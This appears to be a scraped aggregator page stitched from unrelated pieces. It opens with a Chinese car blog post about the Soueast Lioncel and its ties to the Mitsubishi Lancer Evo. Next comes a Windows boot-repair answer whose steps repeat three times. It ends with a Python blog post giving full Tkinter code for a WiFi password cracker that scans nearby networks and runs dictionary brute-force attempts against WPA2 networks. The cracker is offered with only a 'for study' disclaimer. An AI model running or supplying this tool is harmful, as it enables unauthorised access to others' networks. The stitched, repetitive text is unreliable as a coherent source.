屌丝赛道神器,最穷JDM - 东南菱帅!

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了屌丝赛道神器,最穷JDM - 东南菱帅!相关的知识,希望对你有一定的参考价值。

2004年,自主品牌的轿车刚刚开始兴起,国内各家造的汽车都开始有了真正的汽车样了。就在这时,一款神车横空出世,凭借着三菱给的发动机和低廉的价格,横扫国内车坛16年,至今仍在生产销售。
虽然它是个彻头彻尾的山寨车,虽然它的做工垃圾、异响共振层出不穷,但这些缺点全都无法阻挡人们对它的热情,尤其是城乡结合部人民和黑车司机。它,就是比亚迪F3。
(我先狗头保命了...)
而今天的主角,则是比亚迪F3一个不起眼的竞争对手,一个完全不被比亚迪F3放在眼里的竞品 ——
东南菱帅。
一样的三菱发动机,一样的八万多块钱,一样的国产车身份,一样的紧凑级车定位,一样的...有一些进口车的渊源。在当年,东南菱帅和比亚迪F3是实实在在的竞争对手。
在一般老百姓眼里,今天的这辆车远没有比亚迪F3那么传奇。在2020年的今天,我开着它走在大街上,甚至有很多人都不认识这个车标,过来问我“这是什么车”;而在2020年的中国,想必已经没有人不认识比亚迪了吧?
但当你跟一个车迷聊天时,如果把东南菱帅和比亚迪F3相提并论的话,很可能会得到这样一句话:“你TM到底懂不懂车!”
在一些车迷心中,菱帅的存在有着前无古人、后无来者的意义。
准确的来说,菱帅之前是有古人的,但进口版本的CK2A/CK4A实在是少之又少;
准确的来说,菱帅之后也是有来者的,但后来的东南蓝瑟、东南菱悦却一代不如一代,反而更让人怀念菱帅。
这车有什么特别的吗?
这要从很久以前说起了。
--------
1973年,三菱引入了一个新的车系,定位紧凑型家用小轿车,取名Lancer - 枪骑兵。
嗯,只是一个很普通的,没啥特点的小破车而已。
时间转瞬来到了1992年。
1992年,为了参加世界拉力锦标赛,三菱在第六代枪骑兵的基础上打造了全新的拉力赛车,用以取代尺寸更大更重的Galant戈蓝。
(第六代Lancer枪骑兵)
但是,按照当时赛会的规定,参赛的车辆必须是量产车,产量需要达到2500辆以上才可以。就这样,为了满足赛会的条例,使车队能够顺利的参加比赛,三菱便将这款拉力赛车制作了2500台,下放到市场。
就这样,EVO诞生了;
三菱绝对不会料到,这标志着一个传奇的诞生,更是一个时代的开始。
(EVO是Evolution的简称,读作“i:v?”。球球大家不要再“E-V-O”一个一个字母念了,包括某些特别著名的车评人,这样真的会显得你特别没有文化。)
(三菱Lancer Evolution I,一个时代的开始)
车如其名,从诞生之日起,Evo就以非比寻常的速度更新换代,Evolution(进化)的脚步从未停下:
(1994年,Evo II)
(1995年,Evo III)
(1996年,Evo IV)
(1998年,Evo V)
(1999年,Evo VI)
(2001年,Evo VII)
(2003年,Evo VIII)
(2005年,Evo IX)
(2007年,Evo X)
而作为Evo的基础车型,普通版本的枪骑兵也受到了车迷们热烈的欢迎 - 不仅是因为那撇不清的血脉,也因为他们在枪骑兵身上看到了潜力,看到了希望。
曾经三菱的CK2A/CK4A有少量的进口到国内过,价格高昂,并且非常罕见。我记得小时候我家楼下偶尔会停着一台,我每次看见都很兴奋。
(Lancer CK2A/CK4A)
因为年少的我就饱受Evo的荼毒——
从97年柯受良开着一辆Evo飞跃黄河开始,到「头文字D」中的须藤京一和岩城清次 - 藤原拓海只输过一次,就是输给了须藤京一的Evo;甚至在香港的飞车电影「极速传说」中,Sky郑伊健开的也是一辆Evo。
成龙电影自不必说,凡是有飞车戏,必定有Evo。
(香港电影「极速传说」,郑伊健开Evo,任达华开STi。真美好的九十年代。)
(97年香港回归之际,柯受良开着一辆Evo IV飞跃黄河)
所以我小时候的梦想就是:长大了要买一辆Evo。
我现在长大了,我现在仍然买不起Evo。(我猜是可能我还不够大,我可能还需要再胖一点)
--------
许多痴迷Evo的热血少年们,最后通过他们的方式实现了Evo梦。
2003年底,三菱持股的东南汽车引入了一款叫做菱帅的轿车。明眼人一看就知道,这就是枪骑兵啊!
(1997年,日本国内版的Lancer枪骑兵)
(我国引入的东南菱帅)
彼时国内的新车市场可以说是水深火热,丰田、本田等一系列品牌都在积极布局自己的产品线,希望尽早占领市场。而当时的三菱却选择了用另外一条路来让自己赚的盆满钵满 - 那就是,卖发动机。
当时国内的自主品牌技术还非常不成熟,自己根本造不出能用的发动机。所以三菱借机扩张市场,几乎每个自主品牌都曾经买过三菱的发动机。可以说,三菱就是自主品牌们的奶妈。
虽然光靠卖发动机就可以非常赚钱,但面对急速增长的整车市场,三菱不想就此放过这个大好机会。所以三菱也引进了一些价格低廉的小车,通过提高国产化率、降低成本、错位竞争的方式,来和两田竞争。菱帅就是这个时期的产物。
东南汽车是福建国企、台湾中华和三菱三家合资的公司,国企占50%的股份,三菱占25%,所以拍板的是中国人。这也就不难解释为什么当时东南汽车悬挂的是福建东南的车标,而不是三菱汽车的了。
不过三菱倒也不在乎,三菱一心只想搞钱。除了发动机市场,三菱当时还和湖南长丰玩的正好,也有高端一些的进口车产品线。虽然繁杂,但三菱当时的产品线也算得上丰富。
菱帅就是枪骑兵。
但8万块的起售价让它不得不减配。所以你能看得到的是,菱帅的内饰品质基本上和比亚迪F3是一个水准;
但东南菱帅和比亚迪F3一个最大的区别是:比亚迪F3的花冠外形是抄袭的,而东南菱帅的壳子,则是用的原版枪骑兵的模具。
看在枪骑兵的原版外形和三菱原装发动机的份上,这车就算已经值回票价了。除了“值回票价”以外,菱帅更是撼动了当时的国内车坛:
国内之前还从来没有过像菱帅这样,既便宜又亲民,可玩性如此之高,并且还有无限潜力待你发掘的车型。虽然在菱帅出现之前就已经有人玩车了,但那会便宜的车都挺烂(比如大众高尔没有夫什么的),贵的车又真的舍不得玩。毕竟那是一个一辆本田EK3要小三十万的年代,而那个时代的老百姓才能挣几个钱?
菱帅的出现震惊了当时的整个车坛。这辆车与原版Lancer实在是太相近了,与Evo实在是太相近了,令人充满遐想。
有些人不甘于遐想,他们已经迫不及待的要将自己的想法付诸实践了。事实上,菱帅的车架和日本版的Lancer几乎完全一样,也就代表它和Evo 4-6代有着非常强的共通性。如果只是想看起来像Evo的话,菱帅直接装Evo的机盖、包围和尾翼不需要任何修改;甚至如果你想要把它彻底变成一辆Evo,成功案例也是一抓一大把。
在当年的无敌改装网上,改装菱帅的案例层出不穷,无数改装大神都第一时间买来了菱帅,然后把Evo的整套系统搬上去。菱帅是十五年前最火热的改装车型,热度丝毫不比现在的GK5差。而因为Evo那个标杆的存在,当年改装菱帅的玩家们,想法远比现在的GK5玩家来得更加疯狂。
(这张照片其实颇有意义:跨越十五年,两辆具有划时代意义的改装车型)
(这并不是Evo,而是一辆菱帅。不过做到这个份上,你完全可以叫它Evo)
十五年过去了,菱帅先是变成了蓝瑟又变成了菱悦,在放飞自我的路上越走越远。看着这个车系的魔改就好像看着一个好好的孩子突然变成了杀马特葬爱家族,又变成了鬼火少年。无论菱帅之后的车型怎么改款,有一件事是不会变的:它只会离Lancer、离Evo越来越远。
在进化到第九代的时候,Evolution正式登陆了国内市场,译名“翼豪陆神”。虽然售价高达49.98万,但挡不住Evo拥趸们的再次沸腾:终于可以正大光明的买一辆Evo了,并且还是“到手玩”,不需要自己改。
这辆车,就是中国二手车市场上有史以来最传奇的保值率神话。
十三年前49.98万的新车,如果保持着素车状态,没瞎改装,没撞过,那么现在可以轻松的以当年买入的价格出手,一分钱不亏的白玩十三年。
不是人傻钱多,Evo绝对值得。
后来,老百姓都越来越有钱了,市场上可选的适合改装、适合玩的车也越来越多了,菱帅的热度也就逐渐消退了。但直到今天,应该很多人也和我一样,心中始终还有一个Evo梦,这份情结绝对不是一辆更先进、更快、马力更大的德国车可以替代的了的。并且在这帮人心中,4B11是最大逆不道的事情,只有4G63才是真正的Evo。
所以哪怕热度消退,但菱帅却从来都不缺少拥趸。
--------
可悲的是,在2020年想要买到一辆成色好的菱帅已经不是一件容易的事了。
和当初那些价格昂贵的进口车不一样,菱帅因为价格便宜,所以在大多数车主的眼里理应就是个低端国产买菜车,很少有人会去悉心照料它。如此以来,时间长了大多数的菱帅都已经变得残破不堪,哪怕在闲鱼上挂三五千块钱也少有人问津;而懂它的车主则免不了要对它进行一些改装,甚至是大刀阔斧的重组。十几年下来,车况不好的可能早就卖了废铁或者进了报废厂,而好的作品则多被人收藏,鲜有流入市场。
虽然成色好的菱帅并不多见,但这辆车现在的价格却真的很便宜。上文中我已经评价过了它当年新车的售价:就冲着原版Lancer的外壳和三菱原装发动机,这车八万多就已经不亏了,其他的内饰什么的就当白送的。
而如果用现在的行情价来评价它,那何止是不亏啊,简直是血赚。现在菱帅的价格真的非常便宜,如果你不在乎成色,只求能走就行,那你买到菱帅完全只需要花费一部手机的价格。当然,如果想把这种车修复到光洁如新,多少还是要花点钱的。
--------
2020年我们有了比2004年多得多的可玩性更高的车,这些车全部都比菱帅更快、更高科技、马力更大,原来痴迷于菱帅的玩家很多都已经转投到了其他的阵营;但除了不灭的Evo情结以外,现在的菱帅更是把赛车、改装车的大门向全世界敞开,热情的拥抱所有穷人,让他们和自己的赛车梦走得更近一些。
几千块钱到一两万的预算,原本充其量也就玩玩自行车,还不够买最顶级的全碳车架;而同样的预算,则足够你开着一辆菱帅,在赛道的过弯处露出发自内心的笑容。
作为一个热爱Evo的屌丝,菱帅一直以来都是我很想尝试的车型。但我对车子的成色还是有一定要求的,所以留意了很久都没有满意的车出现。直到最近,一个机缘巧合的机会,我购得了一辆...
不客气的说吧,极品得不能再极品的菱帅,全国比成色的那种。
京牌老大爷一手原漆车,里外如新。文章上面插的那些图片,就是我这辆车。
据一个玩菱帅的朋友说,这种成色的菱帅已经具有一定的收藏价值了。菱帅作为一辆对标比亚迪F3的小破国产车,其实算不上啥值得珍藏的玩意儿,但正是这一辆辆的小破国产车,才能使一个个Evo梦得以实现。
接快递的那天,我正好要去发一辆飞度到天津。我很开心,因为我正好可以开一辆车去再开一辆车回,省的打滴滴。见到这菱帅的第一眼,当然是...没啥心情,就是觉得很脏,先洗干净了再说。
物流总是有一种蜜汁能力,就是能把你洗干净送上板车的车在三天之内搞得灰头土脸,所以每次接快递的时候我真的都是一脸嫌弃。(问下从我们这里买过车的客户们,你们收快递的时候车也这么脏吗?)
不管是一万两万还是十万二十万的车,我都已经习惯了不在收快递的时候记录脑中的“第一印象”,而是洗完车之后再认真观察,收快递的时候只要简单看看有没有擦痕就好。(and,收到的快递大概率是没有汽油的,下板的第一件事就是赶紧去加油,别问我为什么...)
坐进车里,我被这北斗星一样的内饰深深震撼了。是哪个嘴硬说菱帅和比亚迪F3不是竞品的?让他亲自开一圈菱帅,保证乖乖认怂。
喜悦总是要和朋友一起分享的,我第一时间请朋友试驾了我的菱帅。朋友玩的不亦乐乎,而我坐在后排...只有一种坐黑出租的感觉。
噢,对了,此处插个图。
为啥我说菱帅的内饰简直向北斗星看齐?看这里:
手套箱原厂缝隙,大的可以塞进手指。
菱帅回家的第三天,我就迫不及待的开始对他进行深度清洁的工作。这辆车的原车主是个70后的老头,车内铺了地胶、方向盘和车座看成色是绝对刚摘套、玻璃上还贴了已经褪色了的玻璃膜,标准的老年人做派。
哦,还有那杀人不偿命的大包围脚垫。
(环保、尊贵,真讽刺)
在我要对它建立第一印象之前,这些是我需要全部清除的。我一整天的任务,就是把能拆掉的全拆,能撕掉的全撕,凡是不是出厂带的东西,一律通通扔进垃圾桶。在把它彻底还原之后,我才能够真正消消停停的去感受这辆车,否则我满脑子里想的就都只是“这地胶真烦人”。
经过了一早上的忙碌,地胶被拆掉了;
地胶下面的原车地毯是全新的,成色喜人。
我的习惯是给我的每辆车都准备原厂脚垫,但这辆车实在找不到哪有卖原厂脚垫,只好淘宝上找了一款材质和剪裁最类似的铺上了。
经过一上午的清洁,我的菱帅总算是变干净了。
嗯...真特么新啊。
趁着心情大好,我开着它到处溜了溜。
这辆车的4G18有100匹马力,不算特别有劲儿,但提速却非常轻快。唯一恼人的是车厢里一种莫名的低频噪音,震得人直心慌。我后来连续开这车开了三天一百多公里,这种感觉始终伴随左右。
抛开这种莫名的不适感,其实菱帅这车还是非常好开的。据说,前后期菱帅虽然都用4G18的发动机,但前期的明显调教的更激进。我没开过后期车不知道是怎么样的一种体验,我只觉得这辆车提速挺轻快的。
只不过这种轻快并不会维持太久。在法律规定的限速里,你能感觉到它的动力绰绰有余,但时速过了120km/h之后虽然速度还可以持续升高,但后劲明显没有那么足了。(那啥,杠精说超速不超速的,我们这有封闭的04赛道,蟹蟹)
之前在留言里有人问过我,这车的换挡手感能给几分?我因为没好意思给负分,所以就给了个1分。之后有朋友评论说,如果菱帅都是1分的话,那标致206就是负分了。
确实,菱帅的换挡手感,在一万块这个价位里还是可以的。虽然没办法和真正的性能车比较,行程也比较长,但最起码挡位足够紧致、不松垮,并且非常清晰。唯一的缺点就是菱帅的离合器刚一开始会比较难适应,需要把离合踏板完全踩到底才行,否则就会发出令人头皮发麻的打齿声。
不过这都不是重点,几千块钱最多一万多块钱,能搞到这么一个手动挡的,开起来还挺有乐趣并且还有很大改装潜力的小车,已经是血赚。
说它有乐趣,是因为它的油门真的非常灵敏,并且踏板布局合理。
手动挡的车真的不是每一辆都适合练技术。大家最多用来练技术的车,普桑和捷达,我认为恰恰是最不适合用来练技术的。一是因为油门响应非常慢,普桑那个车你减档的时候做个跟趾动作转速表根本没有反应;二是那些车的踏板布局本来就不合理,油门比刹车踏板高那么多,开着都难受,根本不可能练会正确的跟趾动作。
相比之下,菱帅简直是个非常好的教材。入弯一挡一挡的减挡、脚下一下一下的补油,只需要轻轻一点,转速马上就会抬升到你最需要的那个位置。不知道大家对手动挡的这些高阶驾驶技巧有没有兴趣?有兴趣的话可以拍个视频,给大家讲讲原理。
在难熬的低频共振中熬了快一个星期,虽然每天开完这辆车都非常难受,尤其是心脏非常非常不舒服,但我却渐渐领悟到它的好。
这是一辆优点和缺点都非常鲜明的车子,缺点很明显:整个内饰渣到不行,偷工减料到不行,还减配到非常可怜,坐进去感觉就是在坐黑滴;
但它的优点也很明显:光是原版Lancer的车壳(毕竟能够完美兼容Evo的各种)加上三菱原装的发动机就已经血赚;而哪怕你不去把它Evo化,它也是一辆非常适合练习手动挡驾驶技术的、甚至是非常适合赛道入门的轻型小车。
(光是原漆还不够,塔顶螺丝都未曾有过拆卸...)
(也并不是丧尽天良的减配,至少这还给了个松下的CD机)
啊,不过开菱帅我这个心脏真的是太难受了。
所以我好纠结这辆车的去留。
明天车友聚会,再开一天。
至于心脏难不难受什么的,我才20多岁,死不了:)
「东哥车研所」
微信订阅号首发
本文来源于汽车之家车家号作者,不代表汽车之家的观点立场。
参考技术A 屌丝赛道神器,√+这个321524,更新的也很快,
一、首先在开机时按F8,进入安全模式界面。但是进去的时候如果等待了几分钟都无反应,上面一直显示请稍等的话就复位键重启电脑,如果电脑之前装有一键GHOST备份,就可以果断还原试一下,但是假如还原之后还是如此。
二、电脑开机还是在正在启动windows界面卡住的话,那么久进入PE系统再次设置,重启按delete键,进入BOOT界面,设置开机为U盘启动,进入PE系统,三、在PE系统中用新准备的windows7重新安装,安装重启即可。
四、假如电脑开机还是在正在启动windows界面卡住,那么就对机箱内部进行灰尘的清理。
五、首先在开机时按F8,进入安全模式界面。但是进去的时候如果等待了几分钟都无反应,上面一直显示请稍等的话就复位键重启电脑,如果电脑之前装有一键GHOST备份,就可以果断还原试一下,但是假如还原之后还是如此。
六、电脑开机还是在正在启动windows界面卡住的话,那么久进入PE系统再次设置,重启按delete键,进入BOOT界面,设置开机为U盘启动,进入PE系统,七、在PE系统中用新准备的windows7重新安装,安装重启即可。
八、假如电脑开机还是在正在启动windows界面卡住,那么就对机箱内部进行灰尘的清理。
九、首先在开机时按F8,进入安全模式界面。但是进去的时候如果等待了几分钟都无反应,上面一直显示请稍等的话就复位键重启电脑,如果电脑之前装有一键GHOST备份,就可以果断还原试一下,但是假如还原之后还是如此。
十、电脑开机还是在正在启动windows界面卡住的话,那么久进入PE系统再次设置,重启按delete键,进入BOOT界面,设置开机为U盘启动,进入PE系统,十一、在PE系统中用新准备的windows7重新安装,安装重启即可。
十二、假如电脑开机还是在正在启动windows界面卡住,那么就对机箱内部进行灰尘的清理。

Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。

WIFI万能钥匙GUI版本

1、引言

小屌丝:鱼哥, 上次你写的wifi破解神器,虽然好用,但是没有GUI界面啊。
小鱼:… 你还想要GUI界面版的?
小屌丝:对啊,GUI版的使用起来会很方便的。
小鱼:这真的是吃人嘴短,拿人手短…
小屌丝:鱼哥,我都没往那快想…
小鱼:拉倒吧… 我还不知道你呢。给我几分钟,我来写一个GUI版本的。

2、代码实战

上一篇,小鱼写了非GUI版本的万能钥匙,反馈还不错。

Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。

但是,也有同学私信我说,能不能搞一个GUI版本的,毕竟有很多人不会使用非GUI模式的。
这没毛病, 今天小鱼就来撸一个GUI版本的wifi万能钥匙,但是,
在这里,小鱼强调两点:

  • wifi万能钥匙不能用于商用,仅供学习使用
  • 如果商用出现任何不好影响,都跟小鱼无关

这里我们基于Tkinter库进行开发。
话不多说,老规矩,直接上代码。

代码展示

# -*- coding:utf-8 -*-
# @Time   : 2022-09-04
# @Author : Carl_DJ


from tkinter import *
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框

class WIFI_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \\
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scan_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scan_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scan_wifi_list(scanres)
        return scanres
    # 显示wifi列表
    def show_scan_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        # wifi名称
        self.profile.ssid = wifi_ssid  
        self.profile.auth = const.AUTH_ALG_OPEN  
        # wifi加密算法
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        # 加密单元
        self.profile.cipher = const.CIPHER_TYPE_CCMP 
        # 密码 
        self.profile.key = pwd_Str  
        # 删除所有的wifi文件
        self.iface.remove_all_network_profiles()  
        # 设定新的链接文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  
        self.iface.connect(self.tmp_profile)  
        time.sleep(5)
         # 判断是否连接wifi
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        # 断开连接
        self.iface.disconnect()  
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \\
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

#启动GUI窗口
def gui_start():
    init_window = Tk()
    ui = WIFI_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()

#执行
if __name__ == "__main__":
    gui_start()

运行结果

小屌丝:这个可以,可以,非常可以,太可以了~ ~
小鱼:嗯,这个符合你的"胃口"了?
小屌丝:鱼哥,那必须的, 待会我准备准备,咱俩撸串去。
小鱼:额… 今天…没…空…

3、总结

看到这里, 今天的内容就差不多该结束了。
回想一下,关于WIFI万能钥匙, 小鱼总共写了两篇博文:

针对第一篇,是非GUI版本,更适合撸码人调试使用, 不需要华丽的外表,直接运行代码就完事;
针对第二篇,是GUI版本,即即使没开发经验的同学,也能使用;

当然,小鱼还是要唠叨一下,
在这里,就是最纯粹的技术语言,切勿商用

我是小鱼

关注我,带你学习更多更专业更有趣的Python知识。

以上是关于屌丝赛道神器,最穷JDM - 东南菱帅!的主要内容,如果未能解决你的问题,请参考以下文章

百科知识 什么是屌丝

装饰模式 - 女屌丝逆袭白富美案例

屌丝与正太(哈士奇与狼)

hadoop---前期准备---屌丝

屌丝Cent OS服务解密

Python3,2分钟掌握Doscoart库,你也能成为艺术家。